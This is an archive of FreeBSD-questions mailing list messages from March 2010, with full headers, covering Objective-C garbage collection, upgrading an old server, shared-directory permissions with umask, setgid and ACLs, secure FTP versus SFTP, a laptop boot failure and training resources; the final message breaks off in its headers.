http://markshroyer.com/contact/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 05:58:44 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1397B106564A for ; Fri, 12 Mar 2010 05:58:44 +0000 (UTC) (envelope-from bennett@cs.niu.edu) Received: from mp.cs.niu.edu (mp.cs.niu.edu [131.156.145.41]) by mx1.freebsd.org (Postfix) with ESMTP id C3CEC8FC18 for ; Fri, 12 Mar 2010 05:58:43 +0000 (UTC) Received: from mp.cs.niu.edu (bennett@localhost [127.0.0.1]) by mp.cs.niu.edu (8.14.3/8.14.3) with ESMTP id o2C5weNQ022369; Thu, 11 Mar 2010 23:58:40 -0600 (CST) Date: Thu, 11 Mar 2010 23:58:40 -0600 (CST) From: Scott Bennett Message-Id: <201003120558.o2C5welE022368@mp.cs.niu.edu> To: freebsd-questions@freebsd.org, Nerius Landys Cc: Alex Stangl Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 05:58:44 -0000 On Wed, 10 Mar 2010 11:14:25 -0800 Nerius Landys wrote: >>> I am compiling this program and running it, and without the "release" >>> calls there, it certainly is using up more and more memory every >>> second.  Definitely no garbage collection happening.  I then modified >>> the GNUmakefile to make sure that the option "-fobjc-gc" was being >>> passed to gcc, and verbose output from make assured me that this was >>> the case.  However, my program sill did not garbage collect (3 gigs of >>> RAM, then a segfault).  I then tried the gcc option "-fobjc-gc-only" >>> and gcc42 reported that it did not recognize that option.  The options >>> are described here: >>> http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html >> >> While I am not very familiar with Objective C, I can tell you that GC >> generally runs in the background, using idle time to scavenge memory. >> (It's not counted pointers, synchronously freeing memory immediately.) >> So if you race to allocate memory in an infinite loop like this, you are >> destined to exhaust memory, GC or no, unless the runtime is designed to >> force a GC on alloc in low memory conditions. >> >> Try putting some sort of sleep in the middle of your loop and see if GC >> kicks in and you get more of a sawtooth memory usage pattern. > >Well thanks for that advice. My new program looks like this: > >#import "GarbageObj.h" > >int main(int argc, const char *argv[]) { > int inx = 0; > while (YES) { > inx++; > GarbageObj *obj = [[GarbageObj alloc] init]; > [obj foo]; > if (inx == 100000) { > inx = 0; > sleep(1); > } > } > return 0; >} > > > >Unfortunately the memory usage is still steadily increasing. No >garbage collection even if I compile with "-fobjc-gc". :-( > If your program never frees any memory, then there is never any garbage to collect. QED. Scott Bennett, Comm. ASMELG, CFIAG ********************************************************************** * Internet: bennett at cs.niu.edu * *--------------------------------------------------------------------* * "A well regulated and disciplined militia, is at all times a good * * objection to the introduction of that bane of all free governments * * -- a standing army." * * -- Gov. John Hancock, New York Journal, 28 January 1790 * ********************************************************************** From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 06:05:50 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1119E106564A for ; Fri, 12 Mar 2010 06:05:50 +0000 (UTC) (envelope-from erichfreebsdlist@ovitrap.com) Received: from nomoremozzie.com (nomoremozzie.com [67.212.226.44]) by mx1.freebsd.org (Postfix) with ESMTP id D3C838FC0A for ; Fri, 12 Mar 2010 06:05:49 +0000 (UTC) Received: from p2120.ovitrap.com ([124.197.123.185]) (authenticated bits=0) by nomoremozzie.com (8.13.1/8.13.1) with ESMTP id o2C65kFk021793; Thu, 11 Mar 2010 23:05:48 -0700 From: Erich To: freebsd-questions@freebsd.org Date: Fri, 12 Mar 2010 14:05:24 +0800 User-Agent: KMail/1.9.10 References: <3351212956-2078109201@intranet.com.mx> In-Reply-To: <3351212956-2078109201@intranet.com.mx> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <201003121405.26123.erichfreebsdlist@ovitrap.com> Cc: Jorge Biquez Subject: Re: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 06:05:50 -0000 On 12 March 2010 pm 12:29:13 Jorge Biquez wrote: > Hello all. > > I have an old machine that has been running 4.11-Stable for some > years. This week something weird happened when I tried to update to > latest version on 4.x. Anyway, I thought that was a good idea to > update to 5.x and after doing all the process finally I can not have > it running corrcetly. Not a big problem since a secondary DNS an an > email server for one domain. I am still trying to recover it > downloading and installing the sae version it has but in case I can > not fix I would like to install a mor erecent version. > > The machine has a Motherboard that supports 2 double pentium III > processors with 1GB of ram and a hard disk with 40GB. > > It won't do anything else but a dns slave for maybe 100 domains, mail > and squirrel for 10 domain, not more than 100 users with very low > volume. That's all. > > Can you give me your opinions on what would you? > > - To re-install the version that it used to has from zero and let it > work again for some other years. > > - Try a new version (maybe it is more secure or faster) and if > so..... which one? have a try with 8.0. If it does not work go back to 7.2. I have one machine on which 8.0 does not support USB at all. The scheduler on 8.0 is much better. You will be surprised when moving directly from 4.11 to 8.0 how fast the machine feels. Erich From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 08:03:34 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C8382106564A for ; Fri, 12 Mar 2010 08:03:34 +0000 (UTC) (envelope-from listone@deathbeforedecaf.net) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id A13AD8FC08 for ; Fri, 12 Mar 2010 08:03:34 +0000 (UTC) Received: by pvg3 with SMTP id 3so416710pvg.13 for ; Fri, 12 Mar 2010 00:03:34 -0800 (PST) Received: by 10.143.153.14 with SMTP id f14mr2190391wfo.255.1268381013909; Fri, 12 Mar 2010 00:03:33 -0800 (PST) Received: from [10.10.10.10] (0x7e.net [203.122.226.101]) by mx.google.com with ESMTPS id 21sm984158pzk.0.2010.03.12.00.03.30 (version=TLSv1/SSLv3 cipher=RC4-MD5); Fri, 12 Mar 2010 00:03:32 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v1077) From: Rob In-Reply-To: <29288_1268317482_4B98FD2A_29288_166_1_70C0964126D66F458E688618E1CD008A08CCF744@WADPEXV0.waddell.com> Date: Fri, 12 Mar 2010 18:33:26 +1030 Message-Id: References: <29288_1268317482_4B98FD2A_29288_166_1_70C0964126D66F458E688618E1CD008A08CCF744@WADPEXV0.waddell.com> To: Gary Gatten X-Mailer: Apple Mail (2.1077) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: ACLs, umask and shared directories X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 08:03:34 -0000 Hi Gary, Parts of the filesystem are written by all users - /tmp and /var/tmp. Users don't often write files there deliberately, but many programs run by the user do. With a umask of 002, one user can modify another user's file in these locations. (The sticky bit only protects against file deletion.) Also note that a user can change permissions on their home directory - the users in question are students, and a few do this accidentally every semester. With a umask of 002, and every user in the same group, your home directory is effectively world-writable! The cronjobs and so forth would work - but functional ACLs would be so much simpler :-) Thanks Rob. On 12/03/2010, at 12:52 AM, Gary Gatten wrote: > "Project Groups" are the key. A secondary group owns the dir, only = users working on that project are in that group - so 002 works. I get = umask is system wide, but it should be ok if directory ownership is = "correct" everywhere in the system and/or users know they should only = put certain files in certain places. >=20 > If for some reason that won't work (if you could explain why for my = benefit) what about: A cron job that runs every x mins and sets perms as = you wish. Ideally a daemon process would "monitor" the directory in = question looking for opens/writes/etc, and then set perms; event driven. = Lasty, maybe train the users to set perms, or have a script they can = run that will do it. OR...., have them create files in a temp dir and a = cron job mv's them to the permanent dir and sets perms the same time? >=20 >=20 >=20 > ----- Original Message ----- > From: Rob > To: Gary Gatten > Cc: freebsd-questions@freebsd.org > Sent: Thu Mar 11 05:04:28 2010 > Subject: Re: ACLs, umask and shared directories >=20 > Hi Gary, >=20 > Directory group inheritance is the default in FreeBSD - see open(2): >=20 > When a new file is created it is given the group of the > directory which contains it. >=20 > In SysV, this behaviour is controlled by the setgid bit. >=20 > So the file has the correct group, but it's not writeable by other = users > unless it has g+w permissions. The way to guarantee this is to set > everyone's umask to 002 - but then they can write each other's files > anywhere else in the filesystem, because they're all in the same = primary > group. >=20 > I just can't see a tidy solution. >=20 > Thanks > Rob. >=20 > On 09/03/2010, at 10:34 AM, Gary Gatten wrote: >=20 > > > > chmod g+s "ParentDirectory" > > > > Files created in the dir now have the group of the dir. > > > > Not sure if this will help or not, as it appears the new files do = not > > inherit the perms of the group, the umask still over-rides so.... > > > > What about a secondary group + SGID + umask 002? The users that = need to > > edit each others files in this directory are in a secondary group > > (ShareMe). This same group owns the parent directory and the SGID = bit > > is set. This should allow you to set the umask to 002 correct? = Maybe? > > > > So: > > > > www1 primary group =3D domain_users; > > > > www1$ pwd > > /WorkgroupXShare > > > > drwxrws--- 4 root ShareMe 0 Mar 8 03:11 . > > www1$ touch file1 > > drwxrws--- 4 www1 ShareMe 0 Mar 8 03:11 file1 > > > > umask of 002 should give files 664 (I'd change umask to 004, group > > "ShareMe" should get rw perms, right? > > > > I think this will work? > > > > G > > > > > > -----Original Message----- > > From: Gary Gatten > > Sent: Monday, March 08, 2010 4:49 PM > > To: 'listone@deathbeforedecaf.net' > > Subject: RE: ACLs, umask and shared directories > > > > This may also work: > > > > SGID (set group ID) on a directory: in this special case every file > > created in the directory will have the same group owner as the = directory > > itself (while normal behavior would be that new files are owned by = the > > users who create them). This way, users don't need to worry about = file > > ownership when sharing directories: > > > > G > > > > > > -----Original Message----- > > From: Gary Gatten > > Sent: Monday, March 08, 2010 4:13 PM > > To: Gary Gatten; 'listone@deathbeforedecaf.net' > > Subject: RE: ACLs, umask and shared directories > > > > What about sticky bit on the parent directory - in combination with > > appropriate owner and group perms. I used sticky in my ftpd = solution, > > HOWEVER, this was on SCO Unix and sticky may have different behavior = on > > FBSD. Worth a look though! > > > > G > > > > > > -----Original Message----- > > From: Gary Gatten > > Sent: Monday, March 08, 2010 8:25 AM > > To: 'listone@deathbeforedecaf.net' > > Subject: Re: ACLs, umask and shared directories > > > > I ran into a similar issue long ago with an ftp folder and "shared" > > files. If I recall umask solved my issue for me but understand it > > doesn't solve yours. > > > > If nothing else, could you write a shell script that "monitors" the > > directory/directories for writes and then sets the perms as needed? > > > > ----- Original Message ----- > > From: owner-freebsd-questions@freebsd.org > > > > To: freebsd-questions@freebsd.org > > Sent: Mon Mar 08 06:41:03 2010 > > Subject: ACLs, umask and shared directories > > > > Hi Folks, > > > > I need to give a group of users write access to a shared directory. = The > > problem is, when one user creates a file, > > > > www1$ touch file1 > > www1$ ll > > total 8 > > drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 . > > drwxr-xr-x 4 root wheel 512 Mar 8 03:10 .. > > -rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1 > > > > other users can't edit it. > > > > Solution 1 > > ---------- > > > > Change everyone's umask to 002. Unfortunately, these users are = defined > > in Active Directory and they're all in the same primary group - 002 = is > > not secure in this scenario. > > > > Solution 2 > > ---------- > > > > Set a default ACL on the parent directory, > > > > www1$ getfacl -d . > > # file: . > > # owner: root > > # group: domain_users > > user::rwx > > group::rwx > > mask::rwx > > other::r-x > > > > but it doesn't have the desired effect, > > > > www1$ touch file1 > > www1$ getfacl file1 > > # file: file1 > > # owner: www1 > > # group: domain_users > > user::rw- > > group::rwx # effective: r-- > > mask::r-- > > other::r-- > > > > as the umask seems to override it - this was confirmed by Robert > > Watson[1] in 2005. > > > > So does anyone have a better idea? > > > > Thanks > > Rob. > > > > [1] > > = http://lists.freebsd.org/pipermail/freebsd-fs/2005-October/001382.html > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > > > > > > >
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From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 08:12:33 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C483E106567B for ; Fri, 12 Mar 2010 08:12:33 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id 9EEF78FC37 for ; Fri, 12 Mar 2010 08:12:33 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id o2C8CPhO013992 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 12 Mar 2010 00:12:25 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id o2C8CP83013991; Fri, 12 Mar 2010 00:12:25 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA01497; Fri, 12 Mar 10 00:00:30 PST Date: Fri, 12 Mar 2010 00:05:34 -0800 From: perryh@pluto.rain.com To: bennett@cs.niu.edu Message-Id: <4b99f5ce.OOF9VDO0wXySaf5v%perryh@pluto.rain.com> References: <201003120558.o2C5welE022368@mp.cs.niu.edu> In-Reply-To: <201003120558.o2C5welE022368@mp.cs.niu.edu> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: nlandys@gmail.com, freebsd-questions@freebsd.org, alex@stangl.us Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 08:12:33 -0000 Scott Bennett wrote: > If your program never frees any memory, then there is never > any garbage to collect. Last I knew, "garbage collection" refers to tracking down and reclaiming allocated memory to which no valid references exist. The particular example given here is sufficiently trivial not to actually need GC -- it could easily free() before losing the (only) reference -- but keeping track can become extremely tricky in complex systems (hence the considerable effort that has been expended in designing and implementing GC systems). From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 08:22:38 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CADD21065673 for ; Fri, 12 Mar 2010 08:22:38 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mx1.bjare.net (mx1.bjare.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id 8A29B8FC1A for ; Fri, 12 Mar 2010 08:22:38 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mx1.bjare.net (Postfix) with ESMTP id 505395E251 for ; Fri, 12 Mar 2010 09:22:37 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at mx1.bjare.net X-Spam-Flag: NO X-Spam-Score: -1.863 X-Spam-Level: X-Spam-Status: No, score=-1.863 tagged_above=-999 required=5 tests=[AWL=-0.168, BAYES_00=-2.599, RCVD_IN_PBL=0.905, SPF_PASS=-0.001] Received: from mx1.bjare.net ([127.0.0.1]) by localhost (mx1.bjare.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id zOfOZVtfRpot for ; Fri, 12 Mar 2010 09:22:33 +0100 (CET) X-BN-MX1: ja X-BN-MailInfo: BjareNet Received: from [172.17.0.139] (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mx1.bjare.net (Postfix) with ESMTP id 4BBD45E240 for ; Fri, 12 Mar 2010 09:22:32 +0100 (CET) Message-ID: <4B99F9CB.8010601@eskk.nu> Date: Fri, 12 Mar 2010 09:22:35 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 08:22:38 -0000 I need to have ftp access to a machine. I've found pure-ftpd but it was last updated 2007/02/03. I'm aware that it can function very well despite that, but I would like the lists suggestion on what to choose to make ftp access as secure as possible. It will be mainly windows clients accessing the ftp server. I have SAMBA running, but I need a solution for access from the Internet. /Leslie From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 08:26:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D2E6106564A for ; Fri, 12 Mar 2010 08:26:11 +0000 (UTC) (envelope-from anoop.kn@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 592098FC1D for ; Fri, 12 Mar 2010 08:26:11 +0000 (UTC) Received: by pwj4 with SMTP id 4so592649pwj.13 for ; Fri, 12 Mar 2010 00:26:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=QYGjT6POaaEy2QOEvCa4ebdKqsJVmLiGrnxpaUBnQ0M=; b=GDrC3X0dTzUh6/BnXKS9evX7LvFhxtG9XW0Ui5YywsomIyHamu9wmA7F4T7S9rkTjT rHCWFSpeZWjIF/MUpaLh+DAVoYbfKgetr/PxiQ/CEuL/2JKPTbIoz+GHTeaurEz7ABjt zSaa6FtYtEuVDJtyZTX1NjlIsss3yUB375JvA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=pIWw+4VBBn4AKA/ZHAW1BKtMs0fsrpZNo5F++4UHYsGnG4OyWCGbyXQCYxelp3MqzW fsZW88Zifwr8DpefVD+xpQfVLUXzkyaog4/9cW3nY7UO7mrsTNbwseu57eqpbq58W1+6 NOx+4/oCLT8basWdwDUHCVyWPwWwbUWNWsGHI= MIME-Version: 1.0 Received: by 10.142.5.29 with SMTP id 29mr2213860wfe.102.1268380800895; Fri, 12 Mar 2010 00:00:00 -0800 (PST) Date: Fri, 12 Mar 2010 13:30:00 +0530 Message-ID: <7ff5545f1003120000t3db354b0pe405b9f56b38979b@mail.gmail.com> From: Anoop Kumar Narayanan To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: FreeBSD 8.0 Booting Problem on ZV5320US Laptop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 08:26:11 -0000 I have recently installed FreeBSD8.0 on my 5 year old HP laptop with absolute 0 battery backup (behaviour same when batter removed). Installation works fine but when I try to boot into FreeBSD I get to the BTX loader screen, after having made any selection and it pauses for about 15 secs and the computer suddenly powers down. I was able to boot into the system occasionally lets say about 1 in 5 boots. I am able to install and boot into Linux without any problem. On successful boot, I did see a message "battery0: battery initialization failed" 1. Is there any way to increase the amount of debug messages printed on the screen to figure out what's happening ? 2. Has it got to do with some module crashing as, I am able to install and run LINUX without any problem ? 3. Why is there a pause of 15 secs after making the selection ? From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 08:27:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AF3451065670 for ; Fri, 12 Mar 2010 08:27:21 +0000 (UTC) (envelope-from Olivier.Nicole@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 5D21D8FC15 for ; Fri, 12 Mar 2010 08:27:21 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mail.cs.ait.ac.th (Postfix) with ESMTP id C60B03A38AD; Fri, 12 Mar 2010 15:27:19 +0700 (ICT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cs.ait.ac.th; h= references:subject:subject:in-reply-to:from:from:message-id:date :date:received:received:received; s=selector1; t=1268382439; x= 1270196839; bh=V932nOAkNexw7HK7ajFUIdemo7ZL0biHT5bVPTBM+QQ=; b=f FjGo2J8pb6IQQmDYkoHLoStxup3NqO/SVXsBvexsFCbRUYrC62C/QNoCE6hy/xFq nprOZfiGkVDr/PRCm/E0xRhbMis8txytZq9JWCneN+xWeuasb2IE/MbSE1Stirtv VtQW4ds5P/izeiyLwCQqZPka6nHg7vnhLaCGVj1lbs= X-Virus-Scanned: amavisd-new at cs.ait.ac.th Received: from mail.cs.ait.ac.th ([127.0.0.1]) by localhost (mail.cs.ait.ac.th [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id hiaBHxVWzdCO; Fri, 12 Mar 2010 15:27:19 +0700 (ICT) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.cs.ait.ac.th (Postfix) with ESMTPS id 5DCA23A38AC; Fri, 12 Mar 2010 15:27:19 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id o2C8RChV025564; Fri, 12 Mar 2010 15:27:12 +0700 (ICT) (envelope-from on) Date: Fri, 12 Mar 2010 15:27:12 +0700 (ICT) Message-Id: <201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> From: Olivier Nicole To: leslie@eskk.nu In-reply-to: <4B99F9CB.8010601@eskk.nu> (message from Leslie Jensen on Fri, 12 Mar 2010 09:22:35 +0100) References: <4B99F9CB.8010601@eskk.nu> Cc: freebsd-questions@freebsd.org Subject: Re: I want to instal a "secure" ftp server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 08:27:21 -0000 Hi, > I need to have ftp access to a machine. I've found pure-ftpd but it was Hummm, you want the short answer? Don't enable ftp :) Ftp only accepts plain text passwords (until you enable things like kerebos, one time password, etc), so it is not, it cannot be, secure. SFTP is there, working easily, ready to use, with a decent Windows client WinSCP (winscp.net) Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 09:07:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 38E01106566C for ; Fri, 12 Mar 2010 09:07:14 +0000 (UTC) (envelope-from abalour@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id E9E9F8FC14 for ; Fri, 12 Mar 2010 09:07:13 +0000 (UTC) Received: by gwj15 with SMTP id 15so484794gwj.13 for ; Fri, 12 Mar 2010 01:07:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:reply-to:in-reply-to :references:from:date:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=EWGixIYPuOLnCbNwRVk1sklyBiXCS/mTZ2WFRT13mb0=; b=U42Wi9YP2wFU91ilIuZ5T7l+RPaV4qdRcHNb3pDmpy0WH74/ejMehYx2IK6KrxVBLi w6scslebQQuyxFPwkCrQJ3dfuuQW82PtlS9sapaWlD2oojmx9ZseK5y5A/Yh+qCw7+iR 2SL0FItAAALCLb+Ve9x4G4fj7xy8A4KnnfHE4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:reply-to:in-reply-to:references:from:date:message-id :subject:to:cc:content-type:content-transfer-encoding; b=t2hP7nh3T5Hyyk8O72ZwRypw8QMsC0UfvUleVdHea5I23hcS18HHj6pQ4hS4gcTHpk R4vwaQAUZwwNjBNmKCz1ianWaRIVca+AEsJ4qd7VL2uLuGAPLjTsai2dsPqL2HNuUJGp CWySl7FNvtMtj3vxW+rw8hWMXPMOdD2yH5yXg= MIME-Version: 1.0 Received: by 10.231.157.68 with SMTP id a4mr868746ibx.78.1268384833159; Fri, 12 Mar 2010 01:07:13 -0800 (PST) In-Reply-To: <009f01cac13a$279e7340$76db59c0$@joodtelecomgroup.com> References: <009f01cac13a$279e7340$76db59c0$@joodtelecomgroup.com> From: Ross Cameron Date: Fri, 12 Mar 2010 11:06:53 +0200 Message-ID: <35f70db11003120106g11b2eb47g636916c6c58a298b@mail.gmail.com> To: ssw@joodtelecomgroup.com Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: Training Courses. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ross.cameron@linuxpro.co.za List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 09:07:14 -0000 I would suggest contacting various IT training facilities in you're area and inquiring there. Unfortunately FreeBSD isn't a corporation like Microsoft so "certified training facilities" don't exist. However the FreeBSD Handbook is a VERY good example of how a manual should = look: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ Generally though a good foundation course on you're choice of proprietary UNIX platform along with the FreeBSD handbook would probably do what you're looking for. Assuming that you have no UNIX background at all. So ask around about Solaris courses in you're area and read the above linked book. On Thu, Mar 11, 2010 at 6:44 PM, Ameed Imad wrot= e: > Dear Sir, > > > > I would like to know from where can we get FreeBSD training to become abl= e > to administrate FreeBSD servers. > > > > Best Regards, > > Ameed Jamous > > Business Development Director. > > Telephone: (962) 6553 5060. > Fax: (962) 6553 5116. > GSM: (962) 777 306409. > > USA: +19546074522. > IM: =C2=A0 ssw@telejood.com . > Skype: jvssolutions > =C2=A0 www.joodtelecomgroup.com > > > > > > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > --=20 "Opportunity is most often missed by people because it is dressed in overalls and looks like work." Thomas Alva Edison Inventor of 1093 patents, including: The light bulb, phonogram and motion pictures. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 10:07:35 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48FD7106566B for ; Fri, 12 Mar 2010 10:07:35 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-fx0-f209.google.com (mail-fx0-f209.google.com [209.85.220.209]) by mx1.freebsd.org (Postfix) with ESMTP id C5E098FC12 for ; Fri, 12 Mar 2010 10:07:34 +0000 (UTC) Received: by fxm1 with SMTP id 1so299552fxm.13 for ; Fri, 12 Mar 2010 02:07:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=YOqPfW/1XnYFmJ/FctTaIcGIDl0lG0VlWdV4/Wkkuq8=; b=xqbhO/w7BSD0rc8uzyE32+bjKfCcILN508/oNDS1g2cgGKtbzt+eDidA2AsUzfB7uw gC8k1t+TrR7E7/vki1W6LBPkheDKfEFf1bGFJ+EXRWBn27t4Molfkoq6hjimQErakM6z RwRnXfFOnOPXmepIOw2nBi8L/IkTGx0/uw5xE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=CfZPY8jyaUOZ3upUk306pjI6rSxBjJDLRdbFBP7Sv7AVWTbKW7YJvNbCKxQOwOSfft R4/8iJYsnBHR3F3uPYBFcp0PpxzzUoqVYzxJeMnzETi6XPFC7fC9Be15E6QCbJS6LK/A EXxvzV82LSiGy3IhWZzXibGhpGfr6YhT4lDks= MIME-Version: 1.0 Received: by 10.239.146.210 with SMTP id x18mr434151hba.77.1268388453527; Fri, 12 Mar 2010 02:07:33 -0800 (PST) In-Reply-To: <201003120827.o2C8RChV025564@banyan.cs.ait.ac.th> References: <4B99F9CB.8010601@eskk.nu> 